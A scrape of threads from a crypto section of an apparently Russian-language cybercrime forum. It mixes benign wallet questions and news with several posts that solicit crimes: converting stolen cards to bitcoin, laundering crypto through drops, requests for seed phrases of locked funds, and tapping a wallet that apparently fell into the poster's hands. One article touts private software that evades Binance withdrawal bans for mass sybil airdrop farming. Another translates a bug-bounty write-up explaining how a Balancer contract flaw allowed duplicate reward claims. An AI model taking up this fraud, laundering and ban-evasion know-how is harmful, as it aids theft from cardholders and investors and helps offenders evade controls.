ID: 67686ad7b4103b69df3796db
Thread ID: 121847
Created: 2024-09-01T04:15:22+0000
Last Post: 2024-09-01T04:15:22+0000
Author: churk
Replies: 0 Views: 524

Blinks GG is very new crypto token
On Solana network

In little bit over a week since it's first big stream it have gained over 800% and have market cap of 9.5 Million

Solana dev's ( yes, of the actuall Solana ) are retweeting their posts and so on.

If there is some new coin which I would bet would be next one to go big I am betting on this one.
So far so good
Among the earliest investors

Шопы комплектующих ПК с оплатой криптой
ID: 67686ad7b4103b69df3796a7
Thread ID: 125729
Created: 2024-10-28T18:19:34+0000
Last Post: 2024-10-29T16:49:25+0000
Author: hahbah
Replies: 4 Views: 523

Кто что может посоветовать из этой темы?
С доставкой по eu, снг.
Как в клирнете, так и в торе.
Происхождение не имеет значения.

cc to btc
ID: 67686ad7b4103b69df37984c
Thread ID: 89417
Created: 2023-06-01T01:10:09+0000
Last Post: 2023-06-01T18:34:26+0000
Author: mrforbes
Replies: 6 Views: 521

Can any worthy person please help, i need the Russian method for cc to btc

Криптовалюта под процент
ID: 67686ad7b4103b69df3799da
Thread ID: 56459
Created: 2021-09-09T08:06:27+0000
Last Post: 2021-10-12T15:28:10+0000
Author: sv37qR0
Replies: 6 Views: 521

Добрый день, Уважаемые!
Будьте добры, подскажите, куда можно положить криптовалюту (BTC, ETH, XMR, ADA) под приятный процент?
Знаю, что на Binance есть стейк с плавающим процентом, но к сожалению, он не большой.
Буду искренне рад любой информации.
Заранее огромное, человеческое спасибо!

Best Hardware Wallets
ID: 67686ad7b4103b69df379a2f
Thread ID: 50853
Created: 2021-04-20T09:57:34+0000
Last Post: 2021-04-20T09:57:34+0000
Author: b3l14l
Replies: 0 Views: 521

Can anyone recommend hardware (offline) wallets that you have used?
Any advantages / disadvantage and costs.
Thank you!

32 eth stacking deposit
ID: 67686ad7b4103b69df37966f
Thread ID: 126964
Created: 2024-11-15T12:43:57+0000
Last Post: 2024-12-10T12:56:51+0000
Author: k0d
Replies: 4 Views: 521

Всем привет.
Попался кош, валидатор eth. Можно ли достать деп или забить?
1731674483247.png

Tangem Wallet
ID: 67686ad7b4103b69df379732
Thread ID: 114249
Created: 2024-05-10T15:02:28+0000
Last Post: 2024-05-13T12:22:33+0000
Author: taburetJULEn
Replies: 7 Views: 520

Всем привет, хочу разобраться в холодных кошельках. Как думаете, Tangem Wallet нормальный кошелёк, если на него принимать не сильно чистую криптовалюту? Какие есть грешки за этим кошельком? Буду рад вашим рекомендациям и советам

Кто как чистит крипту?
ID: 67686ad7b4103b69df3799d4
Thread ID: 58462
Created: 2021-11-03T13:06:46+0000
Last Post: 2021-11-03T13:57:52+0000
Author: S0UlleG
Replies: 3 Views: 520

Всем привет напишите кто как чистит крипту, кто может помочь пишите в ПМ только норм люди кто крутится в теме, копейкой не обижу.
Хранить лучше я так понимаю купив Ledger Nano S или X те кто напишет про биржу лесом сразу, а то тут есть умники, потом один запрос от ментов и пизда тебе и твоему дропу.

Trust
ID: 67686ad7b4103b69df3796a1
Thread ID: 125976
Created: 2024-10-31T23:00:14+0000
Last Post: 2024-11-01T09:31:44+0000
Author: killcripta
Replies: 8 Views: 519

del

Обсуждение уязвимостей смарт-контрактов
ID: 67686ad7b4103b69df379821
Thread ID: 80226
Created: 2023-01-17T10:54:11+0000
Last Post: 2023-07-21T15:33:37+0000
Author: mmdblack
Replies: 10 Views: 518

Т.е при помощи mythril можно просканировать любой смарт-контракт на уязвимости?
Извиняюсь если вопрос не по теме

Сказ о том как Trail of Bits, ADBK, OpenZeppelin и Certora пропустили ошибку в коде Balancer
ID: 67686ad7b4103b69df3798b0
Thread ID: 81091
Created: 2023-02-02T03:36:31+0000
Last Post: 2023-02-02T03:36:31+0000
Author: вавилонец
Prefix: Статья
Replies: 0 Views: 518

ОРИГИНАЛЬНАЯ СТАТЬЯ
ПЕРЕВЕДЕНО СПЕЦИАЛЬНО ДЛЯ XSS.IS
$600 ---> bc1qhavqpqvfwasuhf53xnaypvqhhvz966upnk8zy7 для поддержания анонимной ноды ETHEREUM - main и тестов

Безопасность и вознаграждения

Начнём с вознаграждения ...

Как запустить хорошую программу поиска ошибок:

  1. если программа вознаграждения есть - это уже хорошо
  2. сумма вознаграждения представляет собой соразмерное вознаграждение по сравнению с суммой средств, подверженных риску.

Как запустить плохую программу:

  1. ошибка раскрывается, а $$ нет
  2. выплаты подтверждаются, но задерживаются на недели/месяцы
  3. фактическая сумма выплаченного вознаграждения меньше, чем объявленная сумма вознаграждения.

Существование баунти должно быть положительным сигналом для пользователей/инвесторов при принятии решения о том, куда вложить свой капитал. Это привлечет хакеров к протоколу в попытке найти уязвимости, сообщить о них и получить деньги за свою работу. Однако за кулисами программы вознаграждения может происходить совсем другая история, которая известна только хакеру, платформе вознаграждения (если она применима) и команде протокола.
Если вознаграждение составляет $1 мм, но средства, подверженные риску, составляют $1 млрд - это не очень хороший сигнал для пользователей/инвесторов. Почему? Потому что стимул хакера к краже перевешивает вознаграждение, что означает, что вы должны отнестись к оценке риска гораздо более серьёзно... В конечном итоге это плохое, недальновидное бизнес-решение.

Если объявленное вознаграждение составляет $2 млн, а фактически выплачивается 25% от этой суммы, при этом риску подвергаются неограниченные депозиты пользователей - это не очень хороший сигнал для пользователей/инвесторов. Почему? Потому что стимул для хакера украсть будет перевешивать вознаграждение ...о. В конечном счете, это плохое, недальновидное бизнес-решение

Для тех, кто не знаком с тем, как работает эта экосистема: у нас есть хакеры в черной шляпе (злоумышленники), хакеры в белой шляпе (ИБ), хакеры в серой шляпе (днём ИБ, ночью нет), аудиторы (получают плату за аудит кода), пользователи/инвесторы (поставщики капитала), смарт-контракты (цели для накопления капитала) и разработчики/протоколы/компании, которые разрабатывают и поддерживают эти смарт-контракты.

Грань между "черной шляпой" и "белой шляпой" хакера (особенно в криптовалюте) может быть очень тонкой. Независимые "белые шляпы" абсолютно ничего не зарабатывают, если не могут найти ошибку, им трудно получить справедливую оплату (или вообще), а затем заплатить налог на заработанные вознаграждения. Плюс в том, что вы получаете определенный авторитет в этом пространстве, но в основном вы делаете это потому, что это морально правильно, и вы хотите, чтобы эта экосистема процветала. С другой стороны, "черные шляпы" могут украсть миллионы долларов, при этом легко сохраняя анонимность. Это факт.

Обезьяны будут обезьянами

Так как же сделать так, чтобы пользователи/инвесторы могли лучше понять риск при выборе "безопасного" и "проверенного" протокола для вложения своих средств? Является ли риск 3pool 9999% на RugChain таким же, как и у VC, поддерживаемой, сильно аудированной L2? Хороший вопрос, анон... цитируя высказывание великого народа Таиланда: "Ваша безопасность - наша забота, но в конечном итоге это ваша ответственность".

Здесь, на диком западе криптовалют, нет защиты инвесторов, но чем более образован каждый пользователь/инвестор, тем больше шансов, что он примет правильное решение о том, куда ему податься. Недавно я написал в Твиттере, что нам следует создать что-то вроде "Стены позора" для обеспечения большей прозрачности в отношении того, какие команды протоколов позволили себе обмануть хакера, когда дело доходит до выплат белым шляпам. И вот... несколько дней спустя некий абсолютный анон создал простой сайт для этого: <https://bug- bounty-wall-of-shame.github.io/>. Хотя споры по поводу баунти будут всегда, я считаю, что вопиющие примеры плохого поведения должны быть выведены на свет, чтобы обеспечить большую прозрачность для пользователей/инвесторов при принятии инвестиционных решений. Если вы пользователь, заинтересованный в защите своих средств в этой зарождающейся экосистеме, вам необходимо иметь представление о том, как действуют протоколы, сталкиваясь с рисками безопасности. Если пользователи обнаружат, что проект несправедливо относится к "белым шляпам", они должны забрать свой капитал и бежать далеко-далеко!

Если вам нужен отличный пример того, как нужно проводить программу баг-баунти и как нужно подходить к безопасности протоколов, обратите внимание на Balancer, с которыми было приятно работать.

Перейдём к безопасности

Balancer - это хорошо известный протокол в пространстве DeFi, который позволяет любому человеку создать пул AMM, содержащий два или более токенов, которые трейдеры могут обменивать между собой. Поставщики ликвидности блокируют токены в пулах, чтобы собирать комиссионные за своп, которые образуются в результате того, что трейдеры восстанавливают баланс пулов, выполняя свопы. Если протокол желает привлечь больше ликвидности в свой пул, он может обеспечить LP более высокую прибылm, предоставив дополнительные вознаграждения за токены в дополнение к существующей комиссии за своп. Balancer исторически занимал активную позицию в отношении безопасности и прозрачности, когда в его кодовой базе обнаруживались ошибки. Четыре ведущие аудиторские компании уже провели глубокую проверку протокола: Trail of Bits, ADBK, OpenZeppelin и Certora. Тем не менее, уязвимый контракт проскользнул мимо многих глаз и был развернут в Mainnet, Polygon и Arbitrum в течение 463 дней с десятками тысяч успешных транзакций.

К счастью, у Balancer была активная программа вознаграждения на ImmuneFi, которая в конечном итоге привела меня к поиску логической ошибки глубоко в паутине меркловского сада ...
Чтобы добавить дополнительные вознаграждения за токены в пул, токены сначала должны быть переданы в контракт MerkleOrchard по адресу 0xdAE7e32ADc5d490a43cCCba1f0c736033F2b4eFca. Токены передаются от дистрибьютора (обычно это мультисигнал протокола) путем вызова createDistribution, который pull токены в контракт MerkleOrchard, а затем помещает эти активы в контракт Balancer Vault. Эти депозиты в хранилище теперь приписываются контракту MerkleOrchard и связаны с корнем merkle-дерева, предоставленным дистрибьютором.

Ошибка

Пользователи могут подавать дублирующие заявки и сливать в контракт Balancer Vault весь баланс счета MerkleOrchard из контрактов Vault на Mainnet, Polygon и Arbitrum.
В контракте MerkleOrchard существующий LP может вызвать функцию claimDistributions, чтобы получить положенное ему вознаграждение в виде токенов за предоставление ликвидности. Эта функция позволяет пользователю обеспечить несколько заявок за один вызов.

claimDistributions вызовет внутреннюю функцию _processClaims, которая выполнит цикл for на L228: for (uint256 i = 0; i < claims.length; i++).

L233: (uint256 distributionWordIndex, uint256 distributionBitIndex) = _getIndices(claim.distributionId) - вернет точно такие же значения, если мы используем то же значение claim.distributionId в качестве входных данных. Это ключевой момент, потому что на L235 if (currentWordIndex == distributionWordIndex) будет оценен как true и обойдет функцию _setClaimedBits, которая обычно помечает утверждение как завершенное и не позволяет пользователю claim снова.

L264: currentChannelId = _getChannelId(tokens[claim.tokenIndex], claim.distributor) будет сохранять currentChannelId неизменным на каждой итерации. Этот факт, в сочетании с тем, что currentWordIndex == distributionWordIndex будет продолжать оцениваться как true, позволяет нам обойти вызов _setClaimedBits и дает нам возможность подавать дубликаты claim, если все они предоставляются в рамках одной транзакции.

Наконец, setClaimedBits вызывается на L273-276, когда мы достигаем конца массива, что окончательно запрещает воспроизведение претензии:

if (i == claims.length - 1) { _setClaimedBits(currentChannelId, claimer, currentWordIndex, currentBits); _deductClaimedBalance(currentChannelId, currentClaimAmount)

Затем эта функция вызывает контракт хранилища Balancer, который освобождает токены для вызывающей стороны.

Impact

В хранилищах Balancer на Mainnet, Polygon и Arbitrum хранилось (в совокупности) ~$3,2 млн токенов, приписанных к адресам MerkleOrchard. Никакие другие средства в хранилищах не подвергались риску, кроме баланса MerkleOrchard.

Сценарий эксплуатации

Любой LP-провайдер может выполнить одно и то же требование несколько раз в одной транзакции, чтобы украсть из контракта хранилища сумму, кратную их первоначальному требованию (максимум, вероятно, ~10 раз за раз) что будет ограничен только лимитом газа на блок и балансом счета MerkleOrchard в контракте хранилища. Таким образом, крупные LP с 6-значными значениями могут быстро опустошить контракты, тем самым крадя невостребованную доходность у других LP.

Благодарим Balancer gigachads за быстрый ответ, исправление ситуации и выплату баунти в размере 50 ETH за цель, не входившую в сферу применения.

Safety ??? --> BTC ---> XMR --> XMR
ID: 67686ad7b4103b69df37985a
Thread ID: 87830
Created: 2023-05-12T16:28:13+0000
Last Post: 2023-05-21T01:36:47+0000
Author: 0x4809234098234
Replies: 7 Views: 513

This is still safest path correct? I am very paranoid and been out of the game for a couple years. Used to just do cash --> initial BTC.

EXODUS
ID: 67686ad7b4103b69df3799fc
Thread ID: 55105
Created: 2021-08-10T07:30:29+0000
Last Post: 2021-08-10T07:30:29+0000
Author: Foxprox
Replies: 0 Views: 513

Help, there is a virtual machine EXODUS, I know the exact amount, it turned out that I turned on the virtual machine and asks for a password and deleted the phrases by mistake, is it possible to get it from the money? type support says nothing. I also know what kind of password could be there but does not fit

Действующая крипто платформа с доходом
ID: 67686ad7b4103b69df3798e2
Thread ID: 76176
Created: 2022-11-19T12:18:46+0000
Last Post: 2022-11-21T17:57:01+0000
Author: malloy05
Replies: 3 Views: 513

Продаю платформу предоставляющую финансовые услуги в криптовалютной сфере. Полностью автоматическая, вам не нужно быть экспертом для её управления.

Пользователи после создания аккаунта могут:

1. Пополнять баланс, делать внутренние и внешние переводы, хранить криптовалюту.

2. Зарабатывать на стейкинге держа криптовалюту на балансе.

3. Делать обмен криптовалют.

4. Покупать стейблкоин, который является частью платформы, чтобы хранить крипто активы от волатильности рынка.

Прибыль идет с нескольких источников:

1. За вывод с платформы от 0.50$ до 4.00$ в зависимости от криптовалюты.

2. За обмен криптовалют от 0.05$ до 2.50$

3. За продажу монет, которые являются частью платформы, вы их также получите. Это дает наибольшую прибыль от 1.00$ и более за каждую покупку.
Статистика на данный момент:

Зарегистрировано 1149 пользователей

Совершено 2206 внутренних транзакций

Общий баланс криптовалют 0.45201127 BTC
Платформа имеет защиту от различных атак, активы хранятся вне платформы и к ним имеет доступ только пользователь. Также есть защита 2FA и дополнительное кодовое слово. На смартфонах интерфейс адаптируется и выглядит как приложение.
Полная передача прав и платформы вместе с доменом. Есть возможность делать изменения, код открыт и есть комментарии в коду. Также есть возможность для расширения и добавления нового функционала.
Цена 15.000$ Гарант приветствуется
Адрес платформы в PM, открыт к предложениям.

Ищу консультацию по смарт-контрактам от профессионального разработчика. На возмездной основе.
ID: 67686ad7b4103b69df379669
Thread ID: 128741
Created: 2024-12-11T14:18:59+0000
Last Post: 2024-12-13T10:44:35+0000
Author: vRostec
Replies: 6 Views: 512

У меня есть несколько вопросов развертыванию смарт-контрактов на платформе remix (или аналоги) и актуальности возможности их эксплуатации в схеме, которая работала и хорошо себя показывала год назад. По времени - максимум час. Оплата договорная. Первый контакт в ЛС, чтобы я мог посмотреть ваш профиль и убедиться в компетентности по данному вопросу, исходя из истории ваших публикаций. Либо у вас есть портфолио или иной способ продемонстрировать, что вы разбираетесь в теме.

скиньте сидки с залоченными эфирами или юсдт
ID: 67686ad7b4103b69df3797aa
Thread ID: 105691
Created: 2024-01-12T23:20:16+0000
Last Post: 2024-01-15T21:01:49+0000
Author: nightcity
Replies: 6 Views: 511

сабж, оч надо, заранее благодарю

стейблкойны могут быть заблокированы компаниями которые их выпускают?
ID: 67686ad7b4103b69df379694
Thread ID: 126659
Created: 2024-11-11T06:32:41+0000
Last Post: 2024-11-11T23:45:38+0000
Author: troyka
Replies: 8 Views: 510

На прострах сети наткнулся на такой тейк:

_Крупные суммы в стейблкойне(usdt) переводить не рекомендуется так как стейблкойны централизированы и могут быть заблокированы компаниями которые их выпускают.
Мы не несём ответственность за стейблкойны и если наш адрес попадёт в блеклист мы не чем не сможем помочь. _

Click to expand...

Если у меня юстд лежит на trust wallet(некастодиальном), доступ по сид фразе, то их как-то мне могут заблокировать?
Или речь о том, что на монеты может упасть высокий амл скор и автор цитаты имеет в виду, что потом эти монеты нигде не примут? Но ведь есть криптообменники которые принмают юсдт с любым амл... Или я что-то не понимаю

N.Korean hackers stole $400 mln in cryptocurrency in 2021
ID: 67686ad7b4103b69df379998
Thread ID: 61528
Created: 2022-01-17T14:24:51+0000
Last Post: 2022-02-09T17:29:58+0000
Author: stgpp0r5
Replies: 2 Views: 507

North Korea launched at least seven attacks on cryptocurrency platforms that extracted nearly $400 million worth of digital assets last year, one of its most successful years on record, blockchain analysis firm Chainalysis said in a new report.

"From 2020 to 2021, the number of North Korean-linked hacks jumped from four to seven, and the value extracted from these hacks grew by 40%," said the report, which was released on Thursday.

"Once North Korea gained custody of the funds, they began a careful laundering process to cover up and cash out," the report added.

A United Nations panel of experts that monitors sanctions on North Korea has accused Pyongyang of using stolen funds to support its nuclear and ballistic missile programs to circumvent sanctions.

North Korea does not respond to media inquiries, but has previously released statements denying allegations of hacking.

Last year the United States charged three North Korean computer programmers working for the country's intelligence service with a massive, years-long hacking spree aimed at stealing more than $1.3 billion in money and cryptocurrency, affecting companies from banks to Hollywood movie studios.

Chainalysis did not identify all the targets of the hacks, but said they were primarily investment firms and centralized exchanges, including Liquid.com, which announced in August that an unauthorized user had gained access to some of the cryptocurrency wallets it managed.

The attackers used phishing lures, code exploits, malware, and advanced social engineering to siphon funds out of these organizations’ internet-connected 'hot' wallets into North Korea-controlled addresses, the report said.

Many of last year's attacks were likely carried out by the Lazarus Group, a hacking group sanctioned by the United States, which says it is controlled by the Reconnaissance General Bureau, North Korea’s primary intelligence bureau.

The group has been accused of involvement in the “WannaCry” ransomware attacks, hacking of international banks and customer accounts, and the 2014 cyber-attacks on Sony Pictures Entertainment.

North Korea also appeared to step up efforts to launder stolen cryptocurrency, significantly increasing its use of mixers, or software tools that pool and scramble cryptocurrencies from thousands of addresses, Chainalysis said.

The report said researchers had identified $170 million in old, unlaundered cryptocurrency holdings from 49 separate hacks spanning from 2017 to 2021.

The report said it is unclear why the hackers would still be sitting on these funds, but said they could be hoping to outwit law enforcement interest before cashing out.

"Whatever the reason may be, the length of time that (North Korea) is willing to hold on to these funds is illuminating, because it suggests a careful plan, not a desperate and hasty one," Chainalysis concluded.

Source: [Reuters](https://www.reuters.com/technology/nkorean-hackers- stole-400-mln-cryptocurrency-2021-report-2022-01-14/)

Hotbit Token / Binance
ID: 67686ad7b4103b69df379a0f
Thread ID: 53608
Created: 2021-07-04T15:10:03+0000
Last Post: 2021-07-04T15:10:03+0000
Author: decibek
Replies: 0 Views: 505

What are your thoughts on investing in platforms like hotbit etc
Binance has fallen who will be its successor?

проблема с ENS помогите
ID: 67686ad7b4103b69df379706
Thread ID: 118358
Created: 2024-07-07T15:02:47+0000
Last Post: 2024-07-12T21:45:46+0000
Author: Ga1nts
Replies: 1 Views: 501

Дарова всем. Смотрите такая ситуация купил ENS с бансна или траста перевожу сети заблокированы все. И пишет не коректный адрес. В чем проблема?

Где в кошельках крипты можно выпустить Virtual credit cards
ID: 67686ad7b4103b69df3799ae
Thread ID: 61216
Created: 2022-01-11T18:16:03+0000
Last Post: 2022-01-11T19:40:53+0000
Author: avia
Replies: 3 Views: 501

Где в кошельках крипты можно выпустить Virtual credit cards

посоветуйте надежный криптокошелек
ID: 67686ad7b4103b69df37996c
Thread ID: 66660
Created: 2022-05-06T08:48:26+0000
Last Post: 2022-05-24T14:59:06+0000
Author: icecorp
Replies: 11 Views: 499

Постоветуйте криптокошелек безопасный

ВОПРОС: Какой вы знаете лучший европейский банк для перевода в него крипты?
ID: 67686ad7b4103b69df3796a2
Thread ID: 125699
Created: 2024-10-28T11:45:59+0000
Last Post: 2024-11-01T01:40:50+0000
Author: 0x23abloh
Replies: 2 Views: 499

Имею определенную сумму, не скажу, что большую, но и не маленькую. Задача перевести в евро, не важно на счет в банке или в наличку на личные нужны. Как посоветуете это сделать?

Что такое мошенничество "RUG PULL"
ID: 67686ad7b4103b69df379996
Thread ID: 62308
Created: 2022-02-01T18:04:21+0000
Last Post: 2022-02-15T17:03:50+0000
Author: matanga
Replies: 9 Views: 497

Rug pull переводится как выдергивание ковра и подразумевает изъятие разработчиками из проекта денег клиентов.

Самая большая подобная атака связана с турецкой криптобиржей Thodex, глава площадки просто исчез со всеми средствами клиентов. Но чаще всего подобное мошенничество происходит в DeFi-секторе.

Схема:
▪️ Создается и добавляется на DEX новый токен.
▪️ Шумиха вокруг проекта на тему киты зашли – ликвидность принесли.
▪️ Токен быстро делает x10 и более, через Telegram и Twitter создается эффект FOMO.
▪️ Когда скамеры "наелись", они забирают ликвидность из пулов и на руках у доверчивых покупателей остается никому не нужный токен, который невозможно продать.

Защита:
Не торговать сомнительными токенами на DEX, проверяйте проекты и особое внимание на то кто предоставил ликвидность и на какой срок.

RESEARCH
ID: 67686ad7b4103b69df3798a0
Thread ID: 82349
Created: 2023-02-20T11:33:00+0000
Last Post: 2023-02-20T11:33:00+0000
Author: malloy05
Prefix: Статья
Replies: 0 Views: 496

#Retro Soft Node
Ну че, пока из каждого криптового тг паблика нам говорят что нужно делать ретроактивности. Я вам расскажу что я последнии пару недель делаю помимо попсового фарма активности на Акичах для ретробчиков.
Ноды, про них почему то все забыли с этой гонкой за ретродропом от Арбитрам, Оптимизма, ЗКсинка. А мы прям плотненько их абузим последний месяц. Сейчас на радаре есть порядка 5-7 гемных нод, которые можно поднять и мультануть чуток. Те что прям обязательны к установке это Ironfish и Sui. По обоим офф требования очень завышены, поэтому можете смело делить их на два и ставить. Кстати не видитесь на предложения где вам предлагают за 10-50 баксов вести нодки - это мало того не стоит этих денег и можно все сделать гораздо дешевле, так вы еще и опыта ни какого не получаете. Да и вообще ноду рыбы можно в 1 клик установить по гайду который сделали наши нодеры в приватке) Ах да, на радаре прям перед носом у всех есть супер гем нода которую вообще ни где не шилят, поэтому я тоже пожалуй не буду, но вы теперь знаете что такая есть, можете сами ее поискать))
Еще что касается софта, мы тут обновили свой приватный «Binance Withdrawal» и научили его защищаться от банов выводов на Банане. А последнее время бинанс прям зачистил с этими банами. И если раньше можно было спокойно раскидать бабки на 500 кошелей без вопросов, то сейчас запрос на фейс прилетал уже через 20-30 выводов. Но в итоге и это победили. В скором времени еще планируем релизнуть withdrawal под парочку других топовых бирж так как есть запрос на них.
Активности на кол-во должен делать каждый
Пацаны я тут относительно новый типок и вижу как многие как мне кажется не умеют читать между строк, а действуют (сорян за такое сравнение) по типу стада. Все бегут куда то, только тогда когда основная масса побежала туда. Нет, очевидные вещи вроде Арбитрума и его подобные движухи конечно же надо делать и делать по максимуму. Но клин не сошелся только на них, мультить в пару сотен аккаунтов можно даже ноды. И не нужно мне говорить что на это нужно бабки. Конечно нужны, сейчас почти на любую активность нужны бабки. Даже на туже SUI нужны бабки на прокси, аки, софт. Сейчас к сожалению не та стадия рынка когда можно было прийти в рынок с 500 баксами, а через пару месяцев уже иметь банк в 10-20к без вложений.
Нужно обязательно делать простые активности на количество в тех проектах которые по моему мнению кажутся перспективными. Условных 50-100 аков арбитрума, оптимизма, зксинка за 3 копейки с какими то базовыми активностями должны быть у каждого иначе когда кто-то из них раздаст дроп, а вы получите дроп всего лишь на 10 своих аков, у вас будет супер фомо от того что не сделали больше столько простых активностей, задумайтесь.
И самое главное. Что бы сделать себе дефолтных пару сотен аккаунтов не обязательно нужно уметь писать код. Все так же просто можно решить двумя-тремя миньонами, которые будут делать для вас эти активности.
Резко сейчас скажу и может даже задену многих, но все же. Пацаны выбрасывайте из головы вот это всеми любимое у меня 5-10-15-30 топовых аккаунтов как живой человек мне и так ок. Это не ок - это лень, поэтому давай те ленитесь и делайте много. Потом спасибо скажите)
#NFT
Сегодня затронем тему наших любимых JPEG, со старта года NFT маркет показал рост по сравнению с начала весны, когда косолапый ударил нас по горбу и отправил в долгий сон.
Сразу вам скажу, если у вас трусятся руки от быстрых мувов и вы любите посидеть похолдить на таком рынке вы получите по шее и ваш деп будет тихо плакать, напоминая вам о том что NFT-скам, существуют исключения, но если вы тут собираетесь выносить максимум, вам нужно научится фиксировать прибыль.
Мета меняется каждые полгода, как мы все помним летом 2022 все покупали дегенеративные коллекции - так сказать коллекции которые фаундер Петя с 5б класса сделал на коленке за 15 минут и продал ее работягам, которые узнали о ней из низкосортных альф и раскупили вашу дегенку, которая погибла через 25 минут после откупа голодных людей, искавших 5$ профита.
Начало года очень обрадовало весь NFT спейс, приведём пару примеров:
6529memes: пирамидальная структура карточек панка, которая связывает художников в единое целое в одном проекте, хорошая система, которая зажила красками с января месяца когда вышел 2 сезон, те кто сливки снял не пожалел что зашёл сюда с двух ног.
Createra Genesis Land:
Метавселенная с фри минтом которая показала .2 на выходе, спустя 5 дней косались 1.7
DenDekaDen:
Куда же без азиатов, фри минт который так же косался .18 на выходе в пике за месяц вырос до 4eth.
Checks VV:
Тут самое интересное, поговаривают вы никогда не заминтите новых баяков, да так и есть вряд-ли в ваш кошелёк попадёт нфт с флором 100 етх на таком рынке, но никто не отменял, то что вы сможете заминтить 100 штук и влить их в рынок в бешенные иксы,
Checks VV с ценой минта 0.0069 открытой для публики на сутки без лимита на кошелёк выдали 410х и скорее всего - это не конец.
Что же нам преподносит 2023 в нашей любимой NFT сфере?
1. Игры: людям надоело спонсировать Петю с 5б на суши и они захотели настоящие бизнес модели, количество подписчиков и актива в Твитере перестало привлекать китов в каждый 2 проект, игры web3 дают шанс этой сфере получить больше доверия и вот почему: Yuga запустила игру и наняла бывшего президента Blizzard на пост ген. директора. Wolf Game, Pirate Nation, Castaways - зарелизили игры. DigiDaigaku, выпускают новую игру и покупают рекламу на Super Bowl. Homa Games, зарейзили 100 млн и начали наращивание штата, все это даёт нам уверенность что завтра они не убегут забрав копейку на прайват джет с минта.
2. Исскуство: вторая ветка которая имеет перспективу в этой сфере, отдельная часть NFT в своё время я называл ее выжившими, так как по мне туда убежали люди которые любили играть в долгосрочной перспективе, толком ничего не поменялось те кому не интересно выливать в стакан кучу какашек никогда не побегут в этот сектор потому что в их кошельке нфт не может находится больше 24часов все досихпор остаются при своём, Арт коллекционеры ждут пока их художника за 320 лет, дорого купят 1/1 работы, что бы все его остальные работы дали иксов, есть свои плюсы: ваш баланс не обнулится, ведь там намного меньше спекулятивных моментов и людей которые будут лить флор прайс до отметки 0
Я вижу очень сильный приток денег в NFT за 2022, скрин ниже и это будет увеличиваться со временем, 2023-2025 годах и я думаю мы сможем зажить новыми красками и флипать со всей душой набивая себе деп без особых проблем, сейчас стоит концентрироваться на ранних проектах связанных с играми в которые заносят от 20кк, там точно можно будет снимать сливки, вам не обязательно нужно тратить время как раньше на бесполезный гринд, всегда в хорошем проекте найдутся те кто первые продадут за копейки, там можно и набрать сумки, но помните что NFT- это не 9/10 взлетов, а как раз таки падений так что стоит концентрироваться на тех за кем стоят громкие имена и большие цифры, Арт сектор вообщем так и даёт снимать сливки, но там нужно терпение.

![](/proxy.php?image=https%3A%2F%2Flh5.googleusercontent.com%2FxVVfWyslCRdf4CIdIuMXKuoT_sC8cKpkj07shHYx8tQmXmg6XRl- nscLDS-539vf66EOqzUYpJ4jmCCexAibTTjDd2Kc3nxncqkj-zptF- bT2qrY1xpRal9_iO4E67HbsRdmLewT8xkWd1muAfgiKYY&hash=0fc75d24506919fa17081b8ecfedc2f0)
Рынок NFT с конца 2022 года показывает небольшой рост, если сравнивать с пиковыми значениями 21-22 года. Возможно многие крутят объемы в ожидании дропа от Blur, как видно по графику некоторые месяцы превысили объемы OpenSea. Что это начало нового цикла? Тут все конечно же будет зависеть от крипты.
На данный момент можно выделить несколько категорий, в которых однозначно я вижу развитие NFT сектора, это игры и искусство.
Веб3 Игры
Ожидания от проектов резко изменились по сравнению с тем, что было год назад. Сегодня покупатели ищут реальные бизнес-модели и проекты, за которым стоит настоящая команда, многие не готовы вкладывать в анонимов. А проектам нужно нечто большее, чем аудитория в крипто-твиттере.
Веб3 игры набираю обороты. Yuga запустила игру и наняла бывшего президента Blizzard на пост ген. директора. Wolf Game, Pirate Nation, Castaways - зарелизили игры. DigiDaigaku, выпускают новую игру и покупают рекламу на Super Bowl. Homa Games, зарейзили 100 млн и начали наращивание штата.
Игры представляют собой следующий логический шаг к будущему NFT. Частная собственность на активы была важным аспектом валюты и собственности на протяжении всей истории денег. Владение цифровыми активами имеет большой смысл в долгосрочной перспективе.
Если вы покупаете, участок земли, автомобиль, часы в реальной жизни, вы можете владеть этим активом, обменивать его или продавать. Логично, что те же принципы собственности должны применяться и в цифровом мире. Это увеличивает ценность игровой экосистемы для геймеров.
Искусство
Движется своей дорогой и зачастую это спокойное инвестирование, иногда с неплохим возвратом. Тут сложно обнулиться, если ты понимаешь какие активы имеют ценность и перспективы роста. Но нужно иметь терпение и придерживаться собственной стратегии, формируя коллекцию произведений с которыми вы не захотите расставаться в ближайшие несколько лет, а может быть и десятилетия.
Порог входа сейчас значительно уменьшился, художники стали дистрибьютить свои работы в виде Open Edition (открытое издание не имеющее финального сапплая, ограниченно только по времени) или с ограничением по сапплаю и времени. В формате ERC1155.
Такой подход обеспечивает поддержание интереса к автору, многие стали использовать теорию игр и добавлять сжигание к выпущенным токенам. Так уменьшается кол-во одной работы и появляется новая.
Копии одной работы это так же не плохой инвест. Например Пикассо за свою долгую жизнь, а умер он в 1973 году в возрасте 91 года — по разным оценкам, написал 13,500 картин и создал около 100,000 гравюр. И сейчас вряд ли бы кто- то отказался владеть оригиналом отпечатанной гравюры Пикассо, даже учитывая что у нее есть несколько таких же копий.
#Node
Ноды ноды, о них складывают легенды, о них говорят. Ни для кого не секрет, что в крипте существует такое направление.
Я сравниваю ноды с ретродропами. Кинул удочки, сидишь, ждешь, 9/10 проектов тебе дадут максимум на горбушку хлеба, однако твое терпение всегда вознаграждается. Есть множество примеров на лайфчендж из этого сектора. Но помни, глупо надеется что ты поставишь свою первую ноду и попадешься на такой проект, хотя ошибка выжившего не исключается.
Есть мнение, что ноды не требуют никаких затрат, или требуют минимальных. По опыту могу сказать - и да, и нет. Проводя параллель с ретродропами, все зависит от масштаба, если вы яростный абузер, который делает по 500 аккаунтов на активность, то и затраты у вас в 500 раз больше. "Максимально очевидно" - скажите вы, но все почему-то упускают этот момент, говоря про "100к без вложений". Еще существуют очень требовательные ноды, типа Aleo или IronFish (говорю именно про майнер), требования которых в официальной документации сильно меньше, чем нужны на самом деле. Например, сервер для недавно закончившегося Aleo стоил не менее $400/месяц. Но каммон, практически любая активность в крипте требует затрат, будь то расходники или газ.
Не жди от нод быстрых денег. Как я уже говорил, это не флип нфт, таймфрейм которого может исчисляться в минуты. Здесь в среднем ожидание до ревардов 6-12 месяцев.
